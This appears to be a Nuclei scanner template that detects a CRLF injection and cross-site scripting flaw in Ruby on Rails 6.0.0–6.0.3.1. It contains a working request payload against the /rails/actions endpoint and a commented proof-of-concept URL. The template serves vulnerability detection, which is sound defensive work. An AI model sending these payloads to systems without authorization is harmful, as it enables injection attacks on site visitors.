rails6-xss: Ruby on Rails - CRLF Injection and Cross-Site Scripting

id: rails6-xss

#  XSS (6.0.0 - 6.0.3.1); Payload is location=%0djavascript:alert(1);
#  Nuclei has issues with 302 response missing a Location header thus the
#  extended payload to make Nuclei work.
#  Working poc by @Mad-robot
# /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29
info:
  name: Ruby on Rails - CRLF Injection and Cross-Site Scripting
  author: ooooooo_q,rootxharsh,iamnoooob
  severity: medium
  description: Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting.
  reference:
    - https://hackerone.com/reports/904059
  metadata:
    max-request: 1
  tags: rails,xss,crlf,hackerone,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'javascript:alert(1)'
        part: body

      - type: status
        status:
          - 302

      - type: word
        words:
          - 'Location: aaaaa'
          - 'text/html'
        part: header
        condition: and
# digest: 4b0a004830460221009258ca818fdb9e6df6eb2e926b4febe99edb431e0562de8a84b7b0898f59949b022100f1d29c897182901bd652d308e5d7b2ec7cbd759617fe95005d50443941209acb:922c64590222798bb761d5b6d8e72950